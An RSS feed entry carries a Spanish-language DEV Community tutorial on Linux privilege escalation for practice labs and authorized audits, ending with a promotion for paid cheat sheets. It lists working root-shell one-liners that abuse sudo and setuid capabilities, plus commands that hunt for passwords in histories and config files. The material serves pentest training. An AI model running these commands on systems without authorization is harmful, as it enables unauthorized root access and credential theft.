<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: ChuletaRoot</title>
    <description>The latest articles on DEV Community by ChuletaRoot (@chuletaroot).</description>
    <link>https://dev.to/chuletaroot</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4209730%2F299714da-fed7-4954-b51a-7030b12eae5a.png</url>
      <title>DEV Community: ChuletaRoot</title>
      <link>https://dev.to/chuletaroot</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/chuletaroot"/>
    <language>en</language>
    <item>
      <title>Escalada de privilegios en Linux: lo que reviso en los primeros 5 minutos</title>
      <dc:creator>ChuletaRoot</dc:creator>
      <pubDate>Tue, 27 Oct 2026 01:47:24 +0000</pubDate>
      <link>https://dev.to/chuletaroot/escalada-de-privilegios-en-linux-lo-que-reviso-en-los-primeros-5-minutos-2d6i</link>
      <guid>https://dev.to/chuletaroot/escalada-de-privilegios-en-linux-lo-que-reviso-en-los-primeros-5-minutos-2d6i</guid>
      <description>&lt;p&gt;Entras a una máquina con una shell de usuario normal y la tentación es tirar linpeas y leer 2.000 líneas de colores. Funciona, pero casi siempre la vía a root está en una de cinco cosas que se revisan a mano en un par de minutos. Este es el orden que sigo en HTB y en labs tipo OSCP.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Todo esto es para laboratorios propios, plataformas de práctica y auditorías con autorización por escrito.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  1. Quién soy y qué puedo ejecutar
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dos cosas que mirar en la salida de &lt;code&gt;id&lt;/code&gt;: grupos como &lt;code&gt;docker&lt;/code&gt;, &lt;code&gt;lxd&lt;/code&gt;, &lt;code&gt;disk&lt;/code&gt; o &lt;code&gt;adm&lt;/code&gt;. Cualquiera de los tres primeros suele ser root directo.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; es lo más rentable de toda la lista. Si aparece un binario con &lt;code&gt;NOPASSWD&lt;/code&gt;, búscalo en &lt;a href="https://gtfobins.github.io" rel="noopener noreferrer"&gt;GTFOBins&lt;/a&gt;. Ejemplos típicos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; /bin/sh &lt;span class="se"&gt;\;&lt;/span&gt; &lt;span class="nt"&gt;-quit&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;vim &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;':!/bin/sh'&lt;/span&gt;
&lt;span class="nb"&gt;sudo awk&lt;/span&gt; &lt;span class="s1"&gt;'BEGIN {system("/bin/sh")}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si lo permitido es un script que llama comandos sin ruta absoluta (&lt;code&gt;tar&lt;/code&gt; en vez de &lt;code&gt;/usr/bin/tar&lt;/code&gt;), puedes poner tu propio &lt;code&gt;tar&lt;/code&gt; antes en el &lt;code&gt;PATH&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Binarios SUID y capabilities
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null
getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ignora los SUID de siempre (&lt;code&gt;passwd&lt;/code&gt;, &lt;code&gt;mount&lt;/code&gt;, &lt;code&gt;su&lt;/code&gt;...). Lo que buscas es lo raro: un &lt;code&gt;python3&lt;/code&gt;, un &lt;code&gt;find&lt;/code&gt;, un binario custom en &lt;code&gt;/opt&lt;/code&gt;. Con capabilities, &lt;code&gt;cap_setuid+ep&lt;/code&gt; en un intérprete es root en una línea:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/bin/python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import os; os.setuid(0); os.system("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. Tareas programadas
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/crontab&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron.&lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si root ejecuta un script que tú puedes escribir, ya está. Si no ves nada pero sospechas, &lt;code&gt;pspy&lt;/code&gt; te muestra procesos que se lanzan cada minuto sin necesitar permisos.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Credenciales tiradas
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.bash_history
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rIi&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt; /var/www /opt /home 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Los &lt;code&gt;config.php&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt; y backups de bases de datos son la fuente número uno de contraseñas reutilizadas. Pruébalas con &lt;code&gt;su&lt;/code&gt; contra cada usuario de &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Servicios que solo escuchan en local
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ss &lt;span class="nt"&gt;-tulpn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Un puerto en &lt;code&gt;127.0.0.1&lt;/code&gt; que no viste desde fuera (un MySQL, un panel web en el 8080) suele correr con más privilegios que tú. Reenvíalo con &lt;code&gt;ssh -L&lt;/code&gt; o chisel y míralo desde tu máquina.&lt;/p&gt;

&lt;h2&gt;
  
  
  Si nada de esto sale
&lt;/h2&gt;

&lt;p&gt;Ahora sí: linpeas, versión del kernel y búsqueda de exploits. Pero en la práctica la mayoría de las máquinas fáciles y medias caen en los puntos 1 a 4.&lt;/p&gt;




&lt;p&gt;Tengo esto (y nueve temas más: Nmap, reverse shells, privesc en Windows, SQLi, Active Directory, hashcat, pivoting...) en formato chuleta, en español. Dos son gratis en GitHub: &lt;strong&gt;&lt;a href="https://github.com/chuletaroot-cmd/chuletas" rel="noopener noreferrer"&gt;github.com/chuletaroot-cmd/chuletas&lt;/a&gt;&lt;/strong&gt;. El pack completo de 40 páginas está en Ko-fi y pagas lo que quieras desde $2: &lt;strong&gt;&lt;a href="https://ko-fi.com/s/d5d574a6d0" rel="noopener noreferrer"&gt;ko-fi.com/s/d5d574a6d0&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>spanish</category>
      <category>security</category>
      <category>linux</category>
      <category>pentesting</category>
    </item>
  </channel>
</rss>
